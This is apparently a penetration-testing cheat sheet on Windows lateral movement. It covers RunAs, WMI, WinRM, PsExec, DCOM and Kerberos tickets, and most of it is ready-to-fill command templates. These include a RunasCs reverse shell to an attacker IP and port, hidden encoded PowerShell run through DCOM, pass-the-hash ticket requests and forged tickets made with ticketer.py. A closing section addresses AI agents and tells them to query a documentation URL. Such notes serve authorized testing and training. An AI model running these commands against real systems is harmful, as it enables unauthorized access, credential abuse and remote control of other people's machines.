# Lateral Movement

## RunAs

Use the **runas** command to execute commands on behalf of another user on the same host. 

{% code overflow="wrap" %}

```powershell
runas /user:<USER> <COMMAND, ex. cmd>
# or 
Start-Process cmd.exe -Verb runAs
```

{% endcode %}

You can also use [RunasCs.ps1](https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1) or [RunasCs.exe](https://github.com/antonioCoco/RunasCs/releases) to access a user who does not have remote access authorization via another user who does have it

{% code overflow="wrap" %}

```powershell
Import-Module .\Invoke-RunasCs.ps1
Invoke-RunasCs <USER> <PASS> "cmd /c whoami /all"
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
.\RunasCs.exe <USER> <PASS> "cmd.exe -r <IP>:<PORT>"
```

{% endcode %}

## [WMI](/rednote/utility/service/wmi-135.md)

We need the credentials of a member of the ***Administrators*** local group on the target host.

{% tabs %}
{% tab title="Windows" %}
{% code title="CMD" overflow="wrap" %}

```powershell
wmic /node:<IP> /user:<USER> /password:<PASS> process call create "<COMMAND>"
```

{% endcode %}

{% code title="PowerShell" overflow="wrap" %}

```powershell
$credential = New-Object System.Management.Automation.PSCredential 'USER', (ConvertTo-SecureString '<PASS>' -AsPlaintext -Force)
$Session = New-Cimsession -ComputerName <IP> -Credential $credential -SessionOption (New-CimSessionOption -Protocol DCOM)
$command = '<COMMAND>';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
```

{% endcode %}
{% endtab %}

{% tab title="Linux" %}
With [wmiexec](https://github.com/fortra/impacket/blob/master/examples/wmiexec.py)

```bash
wmiexec <USER>@<IP>
```

{% endtab %}
{% endtabs %}

## [WinRM](/rednote/utility/service/winrm-5985-5986.md)

We need the credentials of a member of the ***Administrators*** local group or ***Remote Management Users*** group on the target host.

{% tabs %}
{% tab title="Windows" %}
{% code title="CMD" overflow="wrap" %}

```powershell
winrs -r:<HOST> -u:'<USER>' -p:'<PASS>'  "cmd /c <COMMAND>"
```

{% endcode %}

{% code title="PowerShell" overflow="wrap" %}

```powershell
$credential = New-Object System.Management.Automation.PSCredential 'USER', (ConvertTo-SecureString '<PASS>' -AsPlaintext -Force)
New-PSSession -ComputerName <IP> -Credential $credential
# See ID in the output
Enter-PSSession <ID>
```

{% endcode %}
{% endtab %}

{% tab title="Linux" %}
With [evil-winrm](https://github.com/Hackplayers/evil-winrm)

```bash
evil-winrm -i <IP> -u <USER>[@<DOMAIN>]
```

{% endtab %}
{% endtabs %}

## PsExec

We need the credentials of a member of the ***Administrators*** local group, the *ADMIN$* share available and File and Printer Sharing turned on (both default settings on modern Windows Server systems).

<details>

<summary>Details</summary>

To execute the command remotely, PsExec performs the following tasks:

* Writes **psexesvc.exe** into the **C:\Windows** directory
* Creates and spawns a service on the remote host
* Runs the requested program/command as a child process of **psexesvc.exe**

</details>

{% tabs %}
{% tab title="Windows" %}
[psexec](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec) is not installed by default on Windows, we need to transfer it.

{% code title="CMD" overflow="wrap" %}

```powershell
.\PsExec64.exe -i \\<HOST> -u <DOMAIN>\<USER> -p <PASS> cmd
```

{% endcode %}
{% endtab %}

{% tab title="Linux" %}
With [psexec](https://github.com/fortra/impacket/blob/master/examples/psexec.py)

```bash
psexec <USER>@<IP>
```

{% endtab %}
{% endtabs %}

## DCOM

Interaction with DCOM is performed over RPC on TCP port 135 and local ***Administrator*** access is required to call the DCOM Service Control Manager, which is essentially an API.

{% code overflow="wrap" %}

```powershell
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<IP_TARGTE>")).Document.ActiveView.ExecuteShellCommand("powershell",$null,"-nop -w hidden -e <COMMAND_B64>","7")
```

{% endcode %}

## Kerberos Tickets

Set `/etc/hosts` and `/etc/krb5.conf`

{% code title="/etc/hosts" overflow="wrap" %}

```
<IP>     <DOMAIN.COM> <DC.DOMAIN.COM>
```

{% endcode %}

{% code title="/etc/krb5.conf" overflow="wrap" %}

```
[libdefaults]
  default_realm = <DOMAIN.COM>
  forwardable = yes
  dns_lookup_kdc = false
  dns_lookup_realm = false

[realms]
  <DOMAIN.COM> = {
    kdc = <DC.DOMAIN.COM>
  }
```

{% endcode %}

Get the `TGT`

{% code overflow="wrap" %}

```bash
getTGT.py -dc-ip <IP> '<DOMAIN.COM>/<USER>:<PASS>'
getTGT.py -dc-ip <IP> '<DOMAIN.COM>/<USER>' -hashes :<HASH>
ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> <NEW_USER>
# or with other techniques
```

{% endcode %}

Import it

{% code overflow="wrap" %}

```bash
chmod 600 <USER>.ccache
export KRB5CCNAME=<USER>.ccache
klist
```

{% endcode %}

Use with Kerberos authentication (`-k`)

```bash
nxc smb <IP_TARGET> --use-kcache --kdcHost <HOSTNAME_DC>
psexec.py -k -no-pass -dc-ip <DC_IP> [-target-ip <IP_TARGET>] <HOSTNAME_TARGET>
# also with impacket-secretsdump, impacket-wmiexec, etc.
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ivalexev.gitbook.io/rednote/pentesting-process/lateral-movement.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.